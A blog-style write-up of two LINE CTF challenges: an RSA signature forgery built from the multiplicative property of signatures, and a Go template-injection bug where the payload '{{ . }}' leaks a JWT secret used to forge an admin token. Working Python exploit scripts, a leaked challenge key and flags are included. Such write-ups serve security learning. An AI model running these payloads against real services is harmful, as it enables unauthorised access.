I played LINE CTF this Saturday, and managed to get 85th place

Here are some of the challenge writeup

Challenges

X Factor

Description

factor1

Attachment

Got a markdown file, open it can see it is a RSA challenge:

I have generated a RSA-1024 key pair:
* public key exponent: 0x10001
* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

Here are some known plain -> signature pairs I generated using my private key:
* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
...
...
**What is the signature of 0x686178656c696f6e?**

Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.

As you can see, we were given public key e and n, and also signature of some plaintext

We can guess the signature is generate like this \(p^{d}\mod n\) , we can verify by “encrypting” the signature (raise to the power of e)

More info can check RSA wikipedia signing message part

n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
e = 0x10001
s = 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
print(hex(pow(s,e,n)))
# 0x945d86b04b2e7c7

As you can see, after encrypting the signature the value turn back to plaintext 0x945d86b04b2e7c7

Factoring

We need to somehow calculate the signature of 0x686178656c696f6e only using the given plaintext and signature, but how???

If we find the factors of plaintext given matching the all factors of 0x686178656c696f6e we can calculate the signature without knowing the private key!

For example, we know s1 and s2 is signature of 2 and 3 but we dont know d:

\[s_{1} \equiv 2^{d}\mod{n}\] \[s_{2} \equiv 3^{d}\mod{n}\]

We can calculate the signature of 6 by multiply the two known signature because 2x3=6:

\[s_{1}s_{2} \equiv {(2\cdot3)}^{d}\mod{n}\] \[\equiv {6}^{d}\mod{n}\]

By using the same principle, we can calculate the signature of 0x686178656c696f6e with the given signatures!!

First, we have to factorize the target plaintext, by using http://factordb.com/ we can easily find the factors

factor2

As you can see, the factors are 2 · 197 · 947 · 2098711 · 9605087

Next, we need to find these 5 factors from the plaintext with signature given

I run factordb api in python:

from factordb.factordb import FactorDB
p = [0x945d86b04b2e7c7,0x5de2,0xa16b201cdd42ad70da249,0x6d993121ed46b,0x726fa7a7,0x31e828d97a0874cff,0x904a515]
for i in p:
	f = FactorDB(i)
	f.connect()
	print(f.get_factor_list())
[811, 947, 947, 947, 970111]
[2, 61, 197]
[970111, 2098711, 2098711, 2854343]
[947, 970111, 2098711]
[61, 197, 197, 811]
[2098711, 2854343, 9605087]
[197, 811, 947]

Yeah! Can see we have all the factors needed!

But we still need to figure how to multiply/divide to the target plaintext 0x686178656c696f6e

Solving

I solve it by hand, by adding and removing the factors until is equal to the target factors, like solving a puzzle…

Convert all factors to symbols for easier to work on:

Signature Factors
s1 abbbc
s2 def
s3 cggh
s4 bcg
s5 effa
s6 ghi
s7 fab

The target is bdfgi

After some hours of adding and removing the factors.. finally found the target signature is equivalent to:

\[\frac{s_2(s_4)^{2}s_6(s_7)^{2}}{s_1s_3s_5} \mod n\]

Calculate the signature in python:

# To divide we have to multiply inverse mod
sig = s[1]*(s[3]**2)*s[5]*(s[6]**2)* inverse(s[0],n) * inverse(s[2],n) * inverse(s[4], n) %n
# Get the last 16 bytes of hex
print(hex(sig)[-32:])
# a049347a7db8226d496eb55c15b1d840

Thats it!! Finally, we got the flag!

Full python script

Flag

LINECTF{a049347a7db8226d496eb55c15b1d840}

gotm

Description

gotm

Attachment

Extract the file, we can see it is a GO lang code with docker file

Goto the link http://34.146.226.125/, show nothing.. lets see the source code

Analyse

Viewing the main.go can see main function:

func main() {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)

	http.HandleFunc("/", root_handler)
	http.HandleFunc("/auth", auth_handler)
	http.HandleFunc("/flag", flag_handler)
	http.HandleFunc("/regist", regist_handler)
	log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

As you can see, we can register, get flag or authenticate

To get flag we need to be admin, but we only can register non-admin

func flag_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			w.Write(res)
			return
		} else {
			w.WriteHeader(http.StatusForbidden)
			return
		}
	}
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

And it is using JWT token, and the secret key is from enviroment:

var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

1st Attempt

First I check the go.sum, it seems to use the older version of jwt-go:

github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/golang-jwt/jwt v3.2.2+incompatible h1:IfV12K8xAKAnZqdXVzCZ+TOjboZ2keLg81eXfW3O+oY=
github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I=

Maybe the older version got some vulnerability that can bypass admin? Lets check it out!

After some researching, found there is a Access Restriction Bypass CVE in Github issue

But a writeup shows this is not the case https://blog.dkkkkk.com/CTF_Writeup/2021hmb/

func TokenIsAdmin(ss string) (bool, error) {
    token, err := jwt.ParseWithClaims(ss, &MyCustomClaims{}, func(token *jwt.Token) (interface{}, error) {
        return Secret, nil
    })
    if err != nil {
        return false, err
    }
    if claims, ok := token.Claims.(*MyCustomClaims); ok && token.Valid {
        if aud, ok := claims.MapClaims["aud"].(string); ok && aud == "" {
            return false, nil
        }
        if claims.ID != 10086 && claims.VerifyAudience(AdminKey, false) {
            return true, nil
        }
    }
    return false, nil
}

Our validation not using [“aud”].string:

func jwt_decode(s string) (string, bool) {
	token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(secret_key), nil
	})
	if err != nil {
		fmt.Println(err)
		return "", false
	}
	if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
		return claims.Id, claims.Is_admin
	}
	return "", false
}

2nd Attempt

Then I decided to build the container and test it

Running ./run.sh to build and run the docker

Then I wrote a python script to register and login:

import requests
import json
URL = "http://localhost:11000/"
data = {
	"id":"test",
	"pw":"test"
}
r = requests.post(URL+"regist",data=data)
print(r.text)

r = requests.post(URL+"auth",data=data)
token = json.loads(r.text)["token"]
print(token)
# {"status":true,"msg":""}
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InRlc3QiLCJpc19hZG1pbiI6ZmFsc2V9.zyVkBgLMOVdnzLdeXRqTVwutHnZrZ6Z-WtKwqCyYbgo

Then put the token in X-Token header, goto /flag to get flag, get 403 code means forbidden:

header = {
	"X-Token":token
}

r = requests.get(URL+"flag",headers=header)
print(r.status_code)
print(r.text)
# 403

After that, I stuck for awhile…

Then I realized I missed an endpoint:

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

It was vulnerable to SSTI!! (Server Side Template Injection) https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#ssti-in-go

Exploit

Follow the exploit in hacktricks, we need to register id as {{ . }}

Then I changed my python script to this:

import requests
import json
URL = "http://localhost:11000/"
data = {
	"id":"{{ . }}",
	"pw":"test"
}
r = requests.post(URL+"regist",data=data)
print(r.text)

r = requests.post(URL+"auth",data=data)
token = json.loads(r.text)["token"]
print(token)

header = {
	"X-Token":token
}

r = requests.get(URL,headers=header)
print(r.status_code)
print(r.text)
# {"status":true,"msg":""}
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7IC4gfX0iLCJpc19hZG1pbiI6ZmFsc2V9.XN9HM05byusP_iDrf2T0gmgyu3oZu0qBwy0Z6JX2vUg
# 200
# Logged in as { {{ . }} test false this_is_fake_key}

As you can see, we leaked the secret key!! Thats means we can change the token as we want!!

Copy the token to https://jwt.io/, paste the secret key then change is_admin to true

gotm2

Then modify the token, goto /flag to get flag!

header = {
	"X-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InRlc3QiLCJpc19hZG1pbiI6dHJ1ZX0.a3n4_N2iEzoxe2x_0jYIyS26jx-PP_eTjvvZEgDk11s"
}

r = requests.get(URL+"flag",headers=header)
print(r.status_code)
print(r.text)
# 200
# {"status":true,"msg":"Hi test, flag is LINECTF{this_is_fake_flag}"}

Repeat the same steps for the real challenge URL, we get the secret key is fasdf972u1031xu90zm10Av, then using jwt.io to modify the token and get the flag!

Alternatively, can use Pyjwt to encode the token

Full Python Script

Flag

LINECTF{country_roads_takes_me_home}